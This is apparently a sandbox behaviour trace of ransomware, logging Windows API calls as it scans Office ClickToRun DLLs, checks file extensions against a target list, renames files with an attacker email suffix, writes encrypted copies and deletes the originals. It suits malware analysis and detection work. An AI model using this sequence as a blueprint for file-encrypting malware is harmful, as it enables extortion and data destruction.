[0294.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0294.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.746] lstrlenW (lpString=".doc") returned 4 [0294.746] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.746] lstrlenW (lpString=".docx") returned 5 [0294.746] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0294.746] lstrlenW (lpString=".pdf") returned 4 [0294.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.746] lstrlenW (lpString=".xls") returned 4 [0294.746] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.746] lstrlenW (lpString=".xlsx") returned 5 [0294.746] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0294.746] lstrlenW (lpString=".ppt") returned 4 [0294.746] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.746] lstrlenW (lpString=".zip") returned 4 [0294.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.746] lstrlenW (lpString=".rar") returned 4 [0294.746] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.746] lstrlenW (lpString=".bz2") returned 4 [0294.747] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.747] lstrlenW (lpString=".7z") returned 3 [0294.747] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.747] lstrlenW (lpString=".dbf") returned 4 [0294.747] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.747] lstrlenW (lpString=".1cd") returned 4 [0294.747] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.747] lstrlenW (lpString=".jpg") returned 4 [0294.747] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.747] lstrlenW (lpString=".doc") returned 4 [0294.747] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.747] lstrlenW (lpString=".docx") returned 5 [0294.747] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0294.747] lstrlenW (lpString=".pdf") returned 4 [0294.747] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.747] lstrlenW (lpString=".xls") returned 4 [0294.747] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.747] lstrlenW (lpString=".xlsx") returned 5 [0294.747] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0294.747] lstrlenW (lpString=".ppt") returned 4 [0294.747] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.747] lstrlenW (lpString=".zip") returned 4 [0294.747] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.747] lstrlenW (lpString=".rar") returned 4 [0294.748] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.748] lstrlenW (lpString=".bz2") returned 4 [0294.748] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.748] lstrlenW (lpString=".7z") returned 3 [0294.748] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.748] lstrlenW (lpString=".dbf") returned 4 [0294.748] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.748] lstrlenW (lpString=".1cd") returned 4 [0294.748] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0294.748] lstrlenW (lpString=".jpg") returned 4 [0294.748] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.748] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0294.748] lstrlenW (lpString="mso40uires.dll") returned 14 [0294.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.749] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3177152) returned 1 [0294.749] CloseHandle (hObject=0x368) returned 1 [0294.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0294.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0294.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[carcinoma24@aol.com].carcn"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0294.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.751] lstrlenW (lpString=".doc") returned 4 [0294.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.751] lstrlenW (lpString=".docx") returned 5 [0294.751] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0294.751] lstrlenW (lpString=".pdf") returned 4 [0294.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.751] lstrlenW (lpString=".xls") returned 4 [0294.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.751] lstrlenW (lpString=".xlsx") returned 5 [0294.751] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0294.751] lstrlenW (lpString=".ppt") returned 4 [0294.751] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.751] lstrlenW (lpString=".zip") returned 4 [0294.751] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.751] lstrlenW (lpString=".rar") returned 4 [0294.752] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.752] lstrlenW (lpString=".bz2") returned 4 [0294.752] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.752] lstrlenW (lpString=".7z") returned 3 [0294.752] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.752] lstrlenW (lpString=".dbf") returned 4 [0294.752] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.752] lstrlenW (lpString=".1cd") returned 4 [0294.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.752] lstrlenW (lpString=".jpg") returned 4 [0294.752] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.752] lstrlenW (lpString=".doc") returned 4 [0294.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.752] lstrlenW (lpString=".docx") returned 5 [0294.752] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0294.752] lstrlenW (lpString=".pdf") returned 4 [0294.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.752] lstrlenW (lpString=".xls") returned 4 [0294.752] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.752] lstrlenW (lpString=".xlsx") returned 5 [0294.752] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0294.752] lstrlenW (lpString=".ppt") returned 4 [0294.752] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.753] lstrlenW (lpString=".zip") returned 4 [0294.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.753] lstrlenW (lpString=".rar") returned 4 [0294.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.753] lstrlenW (lpString=".bz2") returned 4 [0294.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.753] lstrlenW (lpString=".7z") returned 3 [0294.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.753] lstrlenW (lpString=".dbf") returned 4 [0294.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.753] lstrlenW (lpString=".1cd") returned 4 [0294.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0294.753] lstrlenW (lpString=".jpg") returned 4 [0294.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.753] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0294.753] lstrlenW (lpString="mso40uiwin32client.dll") returned 22 [0294.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.754] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=9330784) returned 1 [0294.754] CloseHandle (hObject=0x368) returned 1 [0294.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0294.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0294.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[carcinoma24@aol.com].carcn"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0294.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.756] lstrlenW (lpString=".doc") returned 4 [0294.756] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.756] lstrlenW (lpString=".docx") returned 5 [0294.756] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0294.756] lstrlenW (lpString=".pdf") returned 4 [0294.756] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.756] lstrlenW (lpString=".xls") returned 4 [0294.756] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.756] lstrlenW (lpString=".xlsx") returned 5 [0294.756] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0294.757] lstrlenW (lpString=".ppt") returned 4 [0294.757] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.757] lstrlenW (lpString=".zip") returned 4 [0294.757] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.757] lstrlenW (lpString=".rar") returned 4 [0294.757] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.757] lstrlenW (lpString=".bz2") returned 4 [0294.757] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.757] lstrlenW (lpString=".7z") returned 3 [0294.757] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.757] lstrlenW (lpString=".dbf") returned 4 [0294.757] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.757] lstrlenW (lpString=".1cd") returned 4 [0294.757] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.757] lstrlenW (lpString=".jpg") returned 4 [0294.757] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.757] lstrlenW (lpString=".doc") returned 4 [0294.757] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.757] lstrlenW (lpString=".docx") returned 5 [0294.757] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0294.757] lstrlenW (lpString=".pdf") returned 4 [0294.757] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.757] lstrlenW (lpString=".xls") returned 4 [0294.758] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.758] lstrlenW (lpString=".xlsx") returned 5 [0294.758] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0294.758] lstrlenW (lpString=".ppt") returned 4 [0294.758] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.758] lstrlenW (lpString=".zip") returned 4 [0294.758] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.758] lstrlenW (lpString=".rar") returned 4 [0294.758] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.758] lstrlenW (lpString=".bz2") returned 4 [0294.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.758] lstrlenW (lpString=".7z") returned 3 [0294.758] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.758] lstrlenW (lpString=".dbf") returned 4 [0294.758] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.758] lstrlenW (lpString=".1cd") returned 4 [0294.758] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0294.758] lstrlenW (lpString=".jpg") returned 4 [0294.758] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.758] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0294.758] lstrlenW (lpString="msointl30.en-us.dll") returned 19 [0294.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.759] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=61024) returned 1 [0295.297] CloseHandle (hObject=0x368) returned 1 [0295.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0295.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0295.298] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.298] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0295.298] GetLastError () returned 0x0 [0295.298] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0xee60, lpOverlapped=0x0) returned 1 [0295.323] WriteFile (in: hFile=0x38c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xee70, lpOverlapped=0x0) returned 1 [0295.325] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.326] WriteFile (in: hFile=0x38c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xfa, lpOverlapped=0x0) returned 1 [0295.326] SetEndOfFile (hFile=0x38c) returned 1 [0295.326] CloseHandle (hObject=0x38c) returned 1 [0295.326] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.326] SetEndOfFile (hFile=0x368) returned 1 [0295.327] CloseHandle (hObject=0x368) returned 1 [0295.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0295.328] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0295.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.328] lstrlenW (lpString=".doc") returned 4 [0295.328] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.328] lstrlenW (lpString=".docx") returned 5 [0295.328] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0295.328] lstrlenW (lpString=".pdf") returned 4 [0295.328] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.328] lstrlenW (lpString=".xls") returned 4 [0295.328] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.328] lstrlenW (lpString=".xlsx") returned 5 [0295.328] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0295.328] lstrlenW (lpString=".ppt") returned 4 [0295.328] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.328] lstrlenW (lpString=".zip") returned 4 [0295.328] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.329] lstrlenW (lpString=".rar") returned 4 [0295.329] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.329] lstrlenW (lpString=".bz2") returned 4 [0295.329] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.329] lstrlenW (lpString=".7z") returned 3 [0295.329] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.329] lstrlenW (lpString=".dbf") returned 4 [0295.329] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.329] lstrlenW (lpString=".1cd") returned 4 [0295.329] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.329] lstrlenW (lpString=".jpg") returned 4 [0295.329] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.329] lstrlenW (lpString=".doc") returned 4 [0295.329] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.329] lstrlenW (lpString=".docx") returned 5 [0295.329] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0295.329] lstrlenW (lpString=".pdf") returned 4 [0295.329] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.329] lstrlenW (lpString=".xls") returned 4 [0295.329] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.329] lstrlenW (lpString=".xlsx") returned 5 [0295.329] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0295.329] lstrlenW (lpString=".ppt") returned 4 [0295.329] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.330] lstrlenW 